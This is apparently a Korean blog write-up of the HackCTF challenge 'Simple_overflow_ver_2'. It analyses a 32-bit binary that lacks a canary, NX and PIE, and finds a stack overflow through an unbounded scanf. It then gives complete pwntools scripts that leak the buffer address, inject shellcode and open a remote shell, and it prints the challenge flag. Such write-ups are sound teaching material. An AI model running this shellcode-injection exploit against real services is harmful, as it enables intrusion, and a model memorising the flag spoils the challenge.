[문제]


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 없음
  • PIE 없음

 

바이너리 실행

  • 사용자로부터 Data 입력받음
  • 같은 실행에서 Again할 경우 같은 주소를 반환하지만, 바이너리를 반복 실행하면 다른 buf 주소 출력 → ASLR이 걸려있음

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // ebx@9
  char v5; // [esp+13h] [ebp-89h]@1
  char s[128]; // [esp+14h] [ebp-88h]@2
  signed __int32 i; // [esp+94h] [ebp-8h]@3

  setvbuf(stdout, 0, 2, 0);
  v5 = 121;
  do
  {
    printf("Data : ");
    if ( __isoc99_scanf(" %[^\\n]s", s) ) //사용자는 Data 입력하도록 함
    {
      for ( i = 0; ; ++i )
      {
        v3 = i;
        if ( v3 >= strlen(s) )
          break; //종료
        if ( !(i & 15) ) 
          printf("%p: ", &s[i]);
        printf(" %c", (unsigned __int8)s[i]);
        if ( i % 16 == 15 )
          putchar(10);
      }
    }
    printf("\\nAgain (y/n): ");
  }
  while ( __isoc99_scanf(" %c", &v5) && (v5 == 121 || v5 == 89) );
  return 0;
}
  • scanf 함수로 사용자의 입력을 받고 있음. buffer의 크기가 128바이트로 지정되어 있지만 입력 값에 대한 길이 검증을 수행하지 않음→ BOF 취약점 발생
  • 입력 값을 16바이트만큼 1줄로 나타냄
  • shell을 실행할 수 있는 부분이 주어지지 않아 shellcode 삽입이 필요할 것으로 생각됨

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048380  _init
0x080483c0  printf@plt
0x080483d0  __gmon_start__@plt
0x080483e0  strlen@plt
0x080483f0  __libc_start_main@plt
0x08048400  setvbuf@plt
0x08048410  putchar@plt
0x08048420  __isoc99_scanf@plt
0x08048430  _start
0x08048460  __x86.get_pc_thunk.bx
0x08048470  deregister_tm_clones
0x080484a0  register_tm_clones
0x080484e0  __do_global_dtors_aux
0x08048500  frame_dummy
0x0804852d  main
0x08048670  __libc_csu_init
0x080486e0  __libc_csu_fini
0x080486e4  _fini
  • main 주소: 0x0804852d

 

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x0804852d <+0>:	  push   ebp
   0x0804852e <+1>:	  mov    ebp,esp
   0x08048530 <+3>:	  push   ebx
   0x08048531 <+4>:	  sub    esp,0x98
   0x08048537 <+10>:	mov    eax,ds:0x804a040
   0x0804853c <+15>:	mov    DWORD PTR [esp+0xc],0x0
   0x08048544 <+23>:	mov    DWORD PTR [esp+0x8],0x2
   0x0804854c <+31>:	mov    DWORD PTR [esp+0x4],0x0
   0x08048554 <+39>:	mov    DWORD PTR [esp],eax
   0x08048557 <+42>:	call   0x8048400 <setvbuf@plt>
   0x0804855c <+47>:	mov    BYTE PTR [ebp-0x89],0x79
   0x08048563 <+54>:	mov    DWORD PTR [esp],0x8048700
   0x0804856a <+61>:	call   0x80483c0 <printf@plt>
   0x0804856f <+66>:	lea    eax,[ebp-0x88]
   0x08048575 <+72>:	mov    DWORD PTR [esp+0x4],eax
   0x08048579 <+76>:	mov    DWORD PTR [esp],0x8048708
   0x08048580 <+83>:	call   0x8048420 <__isoc99_scanf@plt>
   0x08048585 <+88>:	test   eax,eax
   0x08048587 <+90>:	je     0x804861b <main+238>
   0x0804858d <+96>:	mov    DWORD PTR [ebp-0x8],0x0
   0x08048594 <+103>:	jmp    0x8048602 <main+213>
   0x08048596 <+105>:	mov    eax,DWORD PTR [ebp-0x8]
   0x08048599 <+108>:	and    eax,0xf
   0x0804859c <+111>:	test   eax,eax
   0x0804859e <+113>:	jne    0x80485bb <main+142>
   0x080485a0 <+115>:	lea    edx,[ebp-0x88]
   0x080485a6 <+121>:	mov    eax,DWORD PTR [ebp-0x8]
   0x080485a9 <+124>:	add    eax,edx
   0x080485ab <+126>:	mov    DWORD PTR [esp+0x4],eax
   0x080485af <+130>:	mov    DWORD PTR [esp],0x8048710
   0x080485b6 <+137>:	call   0x80483c0 <printf@plt>
   0x080485bb <+142>:	lea    edx,[ebp-0x88]
   0x080485c1 <+148>:	mov    eax,DWORD PTR [ebp-0x8]
   0x080485c4 <+151>:	add    eax,edx
   0x080485c6 <+153>:	movzx  eax,BYTE PTR [eax]
   0x080485c9 <+156>:	movsx  eax,al
   0x080485cc <+159>:	movzx  eax,al
   0x080485cf <+162>:	mov    DWORD PTR [esp+0x4],eax
   0x080485d3 <+166>:	mov    DWORD PTR [esp],0x8048715
   0x080485da <+173>:	call   0x80483c0 <printf@plt>
   0x080485df <+178>:	mov    eax,DWORD PTR [ebp-0x8]
   0x080485e2 <+181>:	cdq    
   0x080485e3 <+182>:	shr    edx,0x1c
   0x080485e6 <+185>:	add    eax,edx
   0x080485e8 <+187>:	and    eax,0xf
   0x080485eb <+190>:	sub    eax,edx
   0x080485ed <+192>:	cmp    eax,0xf
   0x080485f0 <+195>:	jne    0x80485fe <main+209>
   0x080485f2 <+197>:	mov    DWORD PTR [esp],0xa
   0x080485f9 <+204>:	call   0x8048410 <putchar@plt>
   0x080485fe <+209>:	add    DWORD PTR [ebp-0x8],0x1
   0x08048602 <+213>:	mov    ebx,DWORD PTR [ebp-0x8]
   0x08048605 <+216>:	lea    eax,[ebp-0x88]
   0x0804860b <+222>:	mov    DWORD PTR [esp],eax
   0x0804860e <+225>:	call   0x80483e0 <strlen@plt>
   0x08048613 <+230>:	cmp    ebx,eax
   0x08048615 <+232>:	jb     0x8048596 <main+105>
   0x0804861b <+238>:	mov    DWORD PTR [esp],0x8048719
   0x08048622 <+245>:	call   0x80483c0 <printf@plt>
   0x08048627 <+250>:	lea    eax,[ebp-0x89]
   0x0804862d <+256>:	mov    DWORD PTR [esp+0x4],eax
   0x08048631 <+260>:	mov    DWORD PTR [esp],0x8048715
   0x08048638 <+267>:	call   0x8048420 <__isoc99_scanf@plt>
   0x0804863d <+272>:	test   eax,eax
   0x0804863f <+274>:	je     0x804865f <main+306>
   0x08048641 <+276>:	movzx  eax,BYTE PTR [ebp-0x89]
   0x08048648 <+283>:	cmp    al,0x79
   0x0804864a <+285>:	je     0x8048563 <main+54>
   0x08048650 <+291>:	movzx  eax,BYTE PTR [ebp-0x89]
   0x08048657 <+298>:	cmp    al,0x59
   0x08048659 <+300>:	je     0x8048563 <main+54>
   0x0804865f <+306>:	mov    eax,0x0
   0x08048664 <+311>:	add    esp,0x98
   0x0804866a <+317>:	pop    ebx
   0x0804866b <+318>:	pop    ebp
   0x0804866c <+319>:	ret    
End of assembler dump.
  • 사용자의 입력은 $ebp-0x88에 저장
  • ret까지의 offset은 buffer+sfp+ret으로 0x8c일 것으로 예상(컴파일 환경에 따라 dummy가 추가될 수 있어 확실하지 않음)
  • main+88에 bp 걸어 임의의 입력 값 입력

  • 사용자의 입력은 0xffffcfb0에 저장

  • 0xffffd03c에서 __libc_start_main+231 확인
  • 사용자의 입력~0x7fffffffde58까지의 offset = 140(0x8c)

 

문제 해결

💡shellcode + dummy(140-shellcode_bytes) + buffer_Address

 

Python2 - Shellcraft 이용

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3006)
e=ELF('./Simple_overflow_ver_2')

p.recvuntil(": ")
payload = "A"*4
p.sendline(payload)

buf = int(p.recv(10), 16)
p.recvuntil("(y/n):")
p.sendline("y")

shell = asm(shellcraft.sh())
payload = shell.ljust(140, "A")
payload += p32(buf)

p.sendline(payload)
p.interactive()

Python3 - Shellcraft 이용

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3006)
e=ELF('./Simple_overflow_ver_2')

p.recvuntil(": ")
payload = b"A"*4
p.sendline(payload)

buf = int(p.recv(10), 16)
p.recvuntil("(y/n):")
p.sendline("y")

shell = asm(shellcraft.sh())
payload = shell.ljust(140, b"A")
payload += p32(buf)

p.sendline(payload)
p.interactive()


flag

🍒 HackCTF{y0u_d1d_7h3_45516nm3n7_5ucc355fully!}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] x64 Buffer Overflow  (0) 2022.10.30
[HackCTF] x64 Simple_size_BOF  (0) 2022.10.30
[HackCTF] Offset  (0) 2022.10.30
[HackCTF] BOF_PIE  (0) 2022.10.30
[HackCTF] Yes or no  (0) 2022.10.30

+ Recent posts